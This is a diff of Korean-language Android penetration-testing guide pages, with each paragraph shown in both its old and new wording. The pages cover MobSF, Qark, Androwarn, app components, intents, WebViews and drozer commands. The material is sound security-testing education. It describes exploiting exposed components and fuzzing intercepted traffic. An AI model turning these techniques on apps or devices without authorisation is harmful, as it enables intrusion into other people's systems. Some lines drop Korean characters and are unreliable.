사용하려는 보조 모듈을 선택한 후 "**Start Instrumentation**"을 누르면 "**Frida Live Logs**"에서 모든 출력을 볼 수 있습니다.
사용할 보조 모듈을 선택한 후 "**Start Intrumentation**"을 누르면 "**Frida Live Logs**"에서 모든 출력을 볼 수 있습니다.
**Shell**
Mobsf는 또한 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 포함한 셸을 제공합니다. 몇 가지 흥미로운 명령:
Mobsf는 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 제공하는 셸도 제공합니다. 몇 가지 흥미로운 명령:
```bash
help
shell ls
@ -570,10 +570,10 @@ receivers
```
**HTTP 도구**
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 또는 "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**(예: Burp 또는 Owasp ZAP)로 **전송**할 수 있습니다.\
이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르세요 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 좋지 않은 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\
이를 위해, _Burp 전원 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아보세요.
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾을 수 있습니다.
> [!NOTE]
> MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 이를 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다:
@ -582,7 +582,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP
> adb shell settings put global http_proxy :0
> ```
### Inspeckage를 이용한 보조 동적 분석
### Inspeckage를 한 보조 동적 분석
[**Inspeckage**](https://github.com/ac-pm/Inspeckage)에서 도구를 받을 수 있습니다.\
이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 알리기 위해 몇 가지 **후크**를 사용합니다.
@ -595,7 +595,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP
### [Qark](https://github.com/linkedin/qark)
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다(노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다 (노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -609,7 +609,7 @@ qark --java path/to/specific/java/file.java
- 일반적인 취약점 및 동작을 위해 AndroidManifest.xml 분석
- 일반적인 취약점 및 동작에 대한 정적 소스 코드 분석
- 장치 정보
- 기타 사항
- 기타 등등
```bash
reverse-apk relative/path/to/APP.apk
```
@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지합니다.
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 자신이 필요한 것을 분석하기 위해 자체 규칙을 만들 수 있습니다.
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 만들 수 있습니다.
최신 바이너리는 [download page](https://superanalyzer.rocks/download.html)에서 다운로드하세요.
```
@ -645,9 +645,9 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다.
지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다.
이 도구는 다음과 같은 **"나쁜" 애플리케이션의 일반적인 행동**을 찾습니다: 전화 식별자 유출, 오디오/비디오 흐름 가로채기, PIM 데이터 수정, 임의 코드 실행...
```
@ -670,7 +670,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### Koodous
악성코드를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com)
악성 소프트웨어를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com)
## 코드 난독화/디오브스큐레이션
@ -684,19 +684,19 @@ ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리
### [DexGuard](https://www.guardsquare.com/dexguard)
APK를 디오브스큐레이션하는 단계별 가이드를 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 확인하세요.
APK를 디오브스큐레이션하는 단계별 가이드를 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 찾을 수 있습니다.
(그 가이드에서) 마지막으로 확인했을 때, Dexguard의 작동 모드는 다음과 같았습니다:
- 리소스를 InputStream으로 로드합니다;
- 결과를 FilterInputStream에서 상속받은 클래스에 제공하여 복호화합니다;
- 리버서의 시간을 낭비하기 위해 쓸모없는 난독화를 수행합니다;
- 리버서의 시간을 몇 분 낭비하기 위해 쓸모없는 난독화를 수행합니다;
- 복호화된 결과를 ZipInputStream에 제공하여 DEX 파일을 가져옵니다;
- 마지막으로 `loadDex` 메서드를 사용하여 결과 DEX를 리소스로 로드합니다.
### [DeGuard](http://apk-deguard.com)
**DeGuard는 Android 난독화 도구가 수행한 난독화 과정을 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.**
**DeGuard는 Android 난독화 도구가 수행한 난독화 프로세스를 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.**
난독화된 APK를 그들의 플랫폼에 업로드할 수 있습니다.
@ -720,7 +720,7 @@ APKiD는 **APK가 어떻게 만들어졌는지**에 대한 정보를 제공합
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성코드 분석을 위한 다양한 보안 전문가와 연구자들의 최신 프레임워크, 튜토리얼 및 실을 포함합니다.
AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성 소프트웨어 분석을 위한 다양한 보안 전문가와 연구자들의 최신 프레임워크, 튜토리얼 및 실험실을 포함합니다.
## References

View File

@ -25,7 +25,7 @@ Android 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는
### Permissions
애플리케이션을 설치할 때 **앱이 권한을 요청하면**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청하는 것입니다. **uses-permission** 요소는 **name** **속성** 내에서 요청된 권한의 이름을 나타냅니다. 또한 **maxSdkVersion** 속성이 있어, 지정된 버전보다 높은 버전에서는 권한 요청을 중합니다.\
애플리케이션을 설치할 때 **앱이 권한을 요청하면**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청하는 것입니다. **uses-permission** 요소는 **name** **속성** 내에서 요청된 권한의 이름을 나타냅니다. 또한 **maxSdkVersion** 속성이 있어, 지정된 버전보다 높은 버전에서는 권한 요청을 중합니다.\
안드로이드 애플리케이션은 처음에 모든 권한을 요청할 필요는 없으며, **동적으로 권한을 요청할 수 있지만** 모든 권한은 **매니페스트에 선언되어야 합니다**.
앱이 기능을 노출할 때, **지정된 권한을 가진 앱만 접근할 수 있도록 제한할 수 있습니다**.\
@ -41,7 +41,7 @@ Android 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는
## Pre-Installed Applications
이 앱들은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 발견되며, 일부는 **최적화되어** 있습니다(심지어 `classes.dex` 파일을 찾지 못할 수도 있습니다). 이러한 애플리케이션은 때때로 **너무 많은 권한으로 실행되고** 있기 때문에 확인할 가치가 있습니다(루트로).
이 앱들은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 발견되며, 그 중 일부는 **최적화되어** 있습니다(심지어 `classes.dex` 파일을 찾지 못할 수도 있습니다). 이러한 애플리케이션은 때때로 **너무 많은 권한으로 실행되고** 있기 때문에 확인할 가치가 있습니다(루트로).
- **AOSP** (Android OpenSource Project) **ROM**과 함께 제공되는 것들
- 장치 **제조업체**에 의해 추가된 것들
@ -49,7 +49,7 @@ Android 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는
## Rooting
물리적 안드로이드 장치에 루트 접근을 얻으려면 일반적으로 **1개 또는 2개의 취약점을 이용해야** 하며, 이는 **장치** 및 **버전**에 **특정**입니다.\
물리적 안드로이드 장치에 루트 접근을 얻으려면 일반적으로 **1개 또는 2개의 취약점을 이용해야** 하며, 이는 **장치** 및 **버전**에 **특정**입니다.\
익스플로잇이 성공하면, 일반적으로 리눅스 `su` 바이너리가 사용자의 PATH 환경 변수에 지정된 위치인 `/system/xbin`에 복사됩니다.
su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리와 인터페이스하여 **루트 접근 요청을 처리**합니다. 예를 들어 **Superuser****SuperSU**(Google Play 스토어에서 사용 가능)와 같은 앱이 있습니다.
@ -60,17 +60,17 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리
### ROMs
**커스텀 펌웨어를 설치하여 OS를 교체하는 것이 가능합니다**. 이를 통해 오래된 장치의 유용성을 확장하거나 소프트웨어 제한을 우회하거나 최신 안드로이드 코드에 접근할 수 있습니다.\
**OmniROM** **LineageOS**는 사용하기에 가장 인기 있는 두 가지 펌웨어입니다.
**OmniROM** **LineageOS**는 사용하기에 가장 인기 있는 두 가지 펌웨어입니다.
**장치를 루팅할 필요가 없는 경우도 있습니다**. **일부 제조업체는** 잘 문서화되고 안전한 방식으로 부트로더 잠금을 해제할 수 있도록 허용합니다.
### Implications
장치가 루팅되면, 어떤 앱이든 루트 접근을 요청할 수 있습니다. 악의적인 애플리케이션이 이를 얻으면 거의 모든 것에 접근할 수 있으며, 전화기를 손상시킬 수 있습니다.
장치가 루팅되면, 어떤 앱이든 루트 접근을 요청할 수 있습니다. 악 애플리케이션이 이를 얻으면 거의 모든 것에 접근할 수 있으며, 전화기를 손상시킬 수 있습니다.
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- 안드로이드 애플리케이션의 형식은 _APK 파일 형식_으로 언급됩니다. 본질적으로 **ZIP 파일**입니다(파일 확장자를 .zip으로 변경하면 내용을 추출하고 볼 수 있습니다).
- 안드로이드 애플리케이션의 형식은 _APK 파일 형식_이라고 합니다. 본질적으로 **ZIP 파일**입니다(파일 확장자를 .zip으로 변경하면 내용을 추출하고 볼 수 있습니다).
- APK 내용 (포괄적이지 않음)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
@ -101,7 +101,7 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리
인텐트는 안드로이드 앱이 구성 요소 간 또는 다른 앱과 통신하는 주요 수단입니다. 이러한 메시지 객체는 앱 간 또는 구성 요소 간에 데이터를 전달할 수도 있으며, HTTP 통신에서 GET/POST 요청이 사용되는 방식과 유사합니다.
따라서 인텐트는 기본적으로 **구성 요소 간에 전달되는 메시지**입니다. 인텐트는 특정 구성 요소나 앱으로 **전달될 수 있으며**, **특정 수신자 없이 전송될 수도 있습니다**.\
따라서 인텐트는 기본적으로 **구성 요소 간에 전달되는 메시지**입니다. 인텐트는 **특정 구성 요소나 앱으로 지향될 수 있으며**, **특정 수신자 없이 전송될 수도 있습니다**.\
간단히 말해 인텐트는 다음과 같이 사용될 수 있습니다:
- 활동을 시작하여 일반적으로 앱의 사용자 인터페이스를 엽니다.
@ -132,9 +132,9 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
이전에 선언된 인텐트의 **Action**은 **ACTION_SEND**이고, **Extra**는 mailto **Uri**입니다 (Extra는 인텐트가 기대하는 추가 정보입니다).
**이전 선언된 인텐트의 Action은 ACTION_SEND이며, Extra는 mailto Uri입니다(Extra는 인텐트가 기대하는 추가 정보입니다).**
이 인텐트는 다음 예와 같이 매니페스트 내에 선언되어야 합니다:
**이 인텐트는 다음 예와 같이 매니페스트 내에 선언되어야 합니다:**
```xml
<activity android:name="ShareActivity">
<intent-filter>
@ -143,13 +143,13 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
</intent-filter>
</activity>
```
인텐트 필터는 메시지를 수신하기 위해 **action**, **data** 및 **category**와 일치해야 합니다.
An intent-filter는 메시지를 수신하기 위해 **action**, **data** 및 **category**와 일치해야 합니다.
"인텐트 해상도" 프로세스는 각 메시지를 수신해야 할 앱을 결정합니다. 이 프로세스는 **우선 순위 속성**을 고려하며, 이는 **인텐트 필터 선언**에서 설정할 수 있고, **더 높은 우선 순위를 가진 것이 선택됩니다**. 이 우선 순위는 -1000에서 1000 사이로 설정할 수 있으며, 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면 "선택기" 창이 나타나 **사용자가 결정할 수 있습니다**.
"Intent resolution" 프로세스는 각 메시지를 수신해야 할 앱을 결정합니다. 이 프로세스는 **priority attribute**를 고려하며, 이는 i**ntent-filter declaration**에서 설정할 수 있고, **더 높은 우선 순위를 가진 것이 선택됩니다**. 이 우선 순위는 -1000에서 1000 사이로 설정할 수 있으며, 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면 "choser" 창이 나타나 **사용자가 결정할 수 있습니다**.
### 명시적 인텐트
### Explicit Intents
명시적 인텐트는 타겟으로 하는 클래스 이름을 지정합니다:
명시적 인텐트는 타겟하는 클래스 이름을 지정합니다:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
@ -161,7 +161,7 @@ context.startService(intent);
```
### Pending Intents
이들은 다른 애플리케이션이 **당신의 애플리케이션을 대신하여 작업을 수행할 수 있도록** 하며, 당신의 앱의 아이덴티티와 권한을 사용합니다. Pending Intent를 구성할 때는 **의도와 수행할 작업을 지정해야** 합니다. **선언된 의도가 명시적이지 않으면** (어떤 의도가 호출될 수 있는지 선언하지 않음) **악의적인 애플리케이션이 피해자 앱을 대신하여 선언된 작업을 수행할 수 있습니다**. 게다가, **작업이 지정되지 않으면**, 악의적인 앱은 **피해자를 대신하여 어떤 작업이든 수행할 수 있습니다**.
이들은 다른 애플리케이션이 **당신의 애플리케이션을 대신하여 작업을 수행할 수 있도록** 하며, 당신의 앱의 아이덴티티와 권한을 사용합니다. Pending Intent를 구성할 때는 **의도를 지정하고 수행할 작업을 명시해야** 합니다. **명시된 의도가 명시적이지 않으면** (어떤 의도가 호출할 수 있는지 선언하지 않음) **악의적인 애플리케이션이 피해자 앱을 대신하여 명시된 작업을 수행할 수 있습니다**. 게다가, **작업이 명시되지 않으면**, 악의적인 앱은 **피해자를 대신하여 어떤 작업이든 수행할 수 있습니다**.
### Broadcast Intents
@ -180,11 +180,11 @@ context.startService(intent);
이들은 API 레벨 21에서 사용 중단되었으며 **사용하지 않는 것이 권장됩니다**.\
**이들은 모든 애플리케이션이 데이터를 엿볼 수 있도록 허용하지만, 또한 데이터를 수정할 수 있도록 합니다.**
"sticky"라는 단어가 포함된 함수, 예를 들어 **`sendStickyBroadcast`** 또는 **`sendStickyBroadcastAsUser`**를 발견하면, **영향을 확인하고 제거하려고 시도하십시오**.
"sticky"라는 단어가 포함된 함수(예: **`sendStickyBroadcast`** 또는 **`sendStickyBroadcastAsUser`**)를 발견하면, **영향을 확인하고 제거하려고 시도하십시오**.
## Deep links / URL schemes
안드로이드 애플리케이션에서 **딥 링크**는 URL을 통해 직접 작업(인텐트)을 시작하는 데 사용됩니다. 이는 활동 내에서 특정 **URL 스킴**을 선언함으로써 이루어집니다. 안드로이드 장치가 **이 스킴을 가진 URL에 접근하려고 할 때**, 애플리케이션 내에서 지정된 활동이 시작됩니다.
안드로이드 애플리케이션에서 **딥 링크**는 URL을 통해 직접 작업(Intent)을 시작하는 데 사용됩니다. 이는 활동 내에서 특정 **URL 스킴**을 선언함으로써 이루어집니다. 안드로이드 기기가 **이 스킴을 가진 URL에 접근하려고 할 때**, 애플리케이션 내에서 지정된 활동이 시작됩니다.
스킴은 **`AndroidManifest.xml`** 파일에 선언되어야 합니다:
```xml
@ -225,7 +225,7 @@ HTML 페이지를 사용하지 않고 [딥 링크를 호출하는 방법](#explo
- **메신저**: 바운드 서비스로 작동하는 메신저는 `onBind` 메소드를 통해 데이터를 처리하는 데 중점을 두고 IPC를 용이하게 합니다. 이 메소드를 면밀히 검사하여 안전하지 않은 데이터 처리나 민감한 기능의 실행이 있는지 확인하는 것이 중요합니다.
- **바인더**: AIDL의 추상화로 인해 바인더 클래스를 직접 사용하는 것은 덜 일반적이지만, 바인더가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버로 작용한다는 것을 이해하는 것이 유익합니다. 더 자세한 이해를 위해 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 리소스를 확인할 수 있습니다.
- **바인더**: AIDL의 추상화로 인해 바인더 클래스를 직접 사용하는 것은 덜 일반적이지만, 바인더가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버로 작용한다는 것을 이해하는 것이 유익합니다. 더 자세한 이해를 위해 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 리소스를 확인하세요.
## 구성 요소
@ -235,8 +235,8 @@ HTML 페이지를 사용하지 않고 [딥 링크를 호출하는 방법](#explo
Android 앱에서 **액티비티**는 화면과 같으며, 앱의 사용자 인터페이스의 다양한 부분을 보여줍니다. 앱은 여러 개의 액티비티를 가질 수 있으며, 각 액티비티는 사용자에게 고유한 화면을 제공합니다.
**런처 액티비티**는 앱의 아이콘을 탭할 때 실행되는 앱의 주요 게이트웨이입니다. 이는 앱의 매니페스트 파일에 특정 MAIN 및 LAUNCHER 인텐트로 정의됩니다:
```markup
**런처 액티비티**는 앱의 주요 게이트웨이로, 앱 아이콘을 탭할 때 시작됩니다. 이는 앱의 매니페스트 파일에 특정 MAIN 및 LAUNCHER 인텐트로 정의됩니다:
```html
<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@ -244,7 +244,7 @@ Android 앱에서 **액티비티**는 화면과 같으며, 앱의 사용자 인
</intent-filter>
</activity>
```
모든 앱이 런처 액티비티를 필요로 하는 것은 아니며, 사용자 인터페이스가 없는 백그라운드 서비스와 같은 앱은 특히 그렇습니다.
모든 앱이 런처 액티비티를 필요로 하는 것은 아니며, 사용자 인터페이스가 없는 백그라운드 서비스와 같은 앱 그렇습니다.
액티비티는 매니페스트에서 "exported"로 표시하여 다른 앱이나 프로세스에서 사용할 수 있도록 만들 수 있습니다. 이 설정은 다른 앱이 이 액티비티를 시작할 수 있도록 허용합니다:
```markdown
@ -274,11 +274,11 @@ super.onCreate();
```
### Services
[Services](https://developer.android.com/guide/components/services)는 **백그라운드 작업자**로, 사용자 인터페이스 없이 작업을 실행할 수 있습니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환하더라도 계속 실행될 수 있어, **장기 실행 작업**에 필수적입니다.
[Services](https://developer.android.com/guide/components/services)는 **백그라운드 작업자**로, 사용자 인터페이스 없이 작업을 실행할 수 있습니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환하더라도 계속 실행될 수 있어, 서비스는 **장기 실행 작업**에 필수적입니다.
Services는 다재다능하며, 다양한 방법으로 시작될 수 있으며, **Intents**가 애플리케이션의 진입점 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스가 시작되면, `onStart` 메서드가 작동을 시작하고 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또는 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, `bindService` 메서드를 사용하여 클라이언트를 서비스에 바인딩하고, 데이터 전송을 위해 `onBind` 메서드를 활성화합니다.
서비스는 다재다능하며, 다양한 방법으로 시작될 수 있으며, **Intents**가 애플리케이션의 진입점으로서 서비스를 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스가 시작되면, `onStart` 메서드가 작동을 시작하고 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또는 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, `bindService` 메서드를 사용하여 클라이언트를 서비스에 바인딩하고, 데이터 전송을 위해 `onBind` 메서드를 활성화합니다.
서비스의 흥미로운 응용 프로그램에는 백그라운드 음악 재생 또는 사용자와 앱 간의 상호작용을 방해하지 않고 네트워크 데이터 가져오기가 포함됩니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있도록 만들 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적인 구성이 필요합니다:
서비스의 흥미로운 응용 프로그램에는 백그라운드 음악 재생이나 사용자와 앱 간의 상호작용을 방해하지 않고 네트워크 데이터 가져오기가 포함됩니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있도록 만들 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적인 구성이 필요합니다:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
@ -286,9 +286,9 @@ Services는 다재다능하며, 다양한 방법으로 시작될 수 있으며,
**Broadcast receivers**는 메시징 시스템에서 리스너 역할을 하여 여러 애플리케이션이 시스템의 동일한 메시지에 응답할 수 있도록 합니다. 앱은 **Manifest**를 통해 또는 **`registerReceiver`** API를 사용하여 앱 코드 내에서 **두 가지 주요 방법**으로 **리시버를 등록**할 수 있습니다. Manifest에서는 브로드캐스트가 권한으로 필터링되며, 동적으로 등록된 리시버는 등록 시 권한을 지정할 수도 있습니다.
**Intent 필터**는 두 등록 방법 모두에서 중요하며, 어떤 브로드캐스트가 리시버를 트리거하는지를 결정합니다. 일치하는 브로드캐스트가 전송되면 리시버의 **`onReceive`** 메서드가 호출되어 앱이 저전 경고에 대한 반응과 같은 방식으로 적절히 반응할 수 있게 합니다.
**Intent 필터**는 두 등록 방법 모두에서 중요하며, 어떤 브로드캐스트가 리시버를 트리거하는지를 결정합니다. 일치하는 브로드캐스트가 전송되면 리시버의 **`onReceive`** 메서드가 호출되어 앱이 저전 경고에 대한 반응과 같은 방식으로 적절히 반응할 수 있게 합니다.
브로드캐스트는 **비동기**일 수 있으며, 모든 리시버에 순서 없이 도달하거나 **동기**일 수 있으며, 리시버가 설정된 우선 순위에 따라 브로드캐스트를 받습니다. 그러나 모든 앱이 자신을 우선하여 브로드캐스트를 가로챌 수 있는 잠재적인 보안 위험이 있다는 점에 유의해야 합니다.
브로드캐스트는 **비동기**일 수 있으며, 모든 리시버에 순서 없이 도달하거나 **동기**일 수 있으며, 리시버가 설정된 우선 순위에 따라 브로드캐스트를 받습니다. 그러나 모든 앱이 자신을 우선 순위로 설정하여 브로드캐스트를 가로챌 수 있는 잠재적인 보안 위험이 있다는 점에 유의해야 합니다.
리시버의 기능을 이해하려면 해당 클래스 내에서 **`onReceive`** 메서드를 찾아보세요. 이 메서드의 코드는 수신된 Intent를 조작할 수 있으며, 특히 Intent를 수정하거나 삭제할 수 있는 **Ordered Broadcasts**에서 리시버에 의한 데이터 검증의 필요성을 강조합니다.
@ -298,7 +298,7 @@ Services는 다재다능하며, 다양한 방법으로 시작될 수 있으며,
입력 검증은 SQL 인젝션과 같은 취약점을 방지하기 위해 매우 중요합니다. Content Providers는 데이터 조작 및 애플리케이션 간의 공유를 용이하게 하는 기본 작업인 `insert()`, `update()`, `delete()`, `query()`를 지원합니다.
**FileProvider**는 파일을 안전하게 공유하는 데 중점을 둔 전문화된 Content Provider입니다. 이는 앱의 매니페스트에 정의되며, 폴더에 대한 접근을 제어하기 위한 특정 속성을 포함하고 있으며, `android:exported``android:resource`가 폴더 구성으로 지정됩니다. 민감한 데이터가 우발적으로 노출되지 않도록 디렉토리를 공유할 때 주의가 필요합니다.
**FileProvider**는 파일을 안전하게 공유하는 데 중점을 둔 전문화된 Content Provider입니다. 이는 앱의 매니페스트에 정의되며, `android:exported` 및 폴더 구성에 대한 `android:resource`와 같은 특정 속성을 사용하여 폴더에 대한 접근을 제어합니다. 민감한 데이터가 우연히 노출되지 않도록 디렉토리를 공유할 때 주의가 필요합니다.
FileProvider에 대한 예시 매니페스트 선언:
```xml
@ -323,14 +323,14 @@ android:resource="@xml/filepaths" />
## WebViews
WebViews는 Android 앱 내의 **미니 웹 브라우저**와 같으며, 웹 또는 로컬 파일에서 콘텐츠를 가져옵니다. 이들은 일반 브라우저와 유사한 위험에 직면하지만, 특정 **설정을 통해 이러한 위험을 줄일 수 있는 방법**이 있습니다.
WebViews는 Android 앱 내의 **미니 웹 브라우저**와 같으며, 웹 또는 로컬 파일에서 콘텐츠를 가져옵니다. 이들은 일반 브라우저와 유사한 위험에 직면하지만, 특정 **설정**을 통해 **위험을 줄이는 방법**이 있습니다.
Android는 두 가지 주요 WebView 유형을 제공합니다:
- **WebViewClient**는 기본 HTML에 적합하지만 JavaScript alert 기능을 지원하지 않아 XSS 공격 테스트에 영향을 미칩니다.
- **WebViewClient**는 기본 HTML에 적합하지만 JavaScript 경고 기능을 지원하지 않아 XSS 공격 테스트에 영향을 미칩니다.
- **WebChromeClient**는 전체 Chrome 브라우저 경험과 더 유사하게 작동합니다.
중요한 점은 WebView 브라우저가 장치의 주요 브라우저와 **쿠키를 공유하지 않는**다는 것입니다.
중요한 점은 WebView 브라우저가 장치의 주요 브라우저와 **쿠키를 공유하지** 않는다는 것입니다.
콘텐츠를 로드하기 위해 `loadUrl`, `loadData`, `loadDataWithBaseURL`와 같은 방법이 제공됩니다. 이러한 URL 또는 파일이 **안전하게 사용될 수 있는지** 확인하는 것이 중요합니다. 보안 설정은 `WebSettings` 클래스를 통해 관리할 수 있습니다. 예를 들어, `setJavaScriptEnabled(false)`로 JavaScript를 비활성화하면 XSS 공격을 방지할 수 있습니다.

View File

@ -29,7 +29,7 @@ Agent는 포트 31415에서 실행되고 있으며, Drozer Client와 Agent 간
```bash
adb forward tcp:31415 tcp:31415
```
마지막으로, **애플리케이션**을 **실행**하고 하단의 "**ON**" 버튼을 누릅니다.
마지막으로, **애플리케이션**을 **실행**하고 하단의 "**ON**"을 누릅니다.
![](<../../../images/image (459).png>)
@ -37,26 +37,26 @@ adb forward tcp:31415 tcp:31415
```bash
drozer console connect
```
## 흥미로운 명령어
## Interesting Commands
| **명령어** | **설명** |
| **Commands** | **Description** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | 선택한 모듈의 도움말을 표시합니다. |
| **list** | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 적절한 권한이 없는 모듈은 숨겨집니다. |
| **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. |
| **clean** | Android 장치에서 drozer가 저장한 임시 파일을 제거합니다. |
| **load** | drozer 명령이 포함된 파일을 로드하고 순차적으로 실행합니다. |
| **module** | 인터넷에서 추가 drozer 모듈을 찾아 설치합니다. |
| **unset** | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 있는 변수를 제거합니다. |
| **set** | drozer가 생성하는 모든 Linux 셸에 환경 변수로 전달될 값을 변수에 저장합니다. |
| **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. |
| **run MODULE** | drozer 모듈을 실행합니다. |
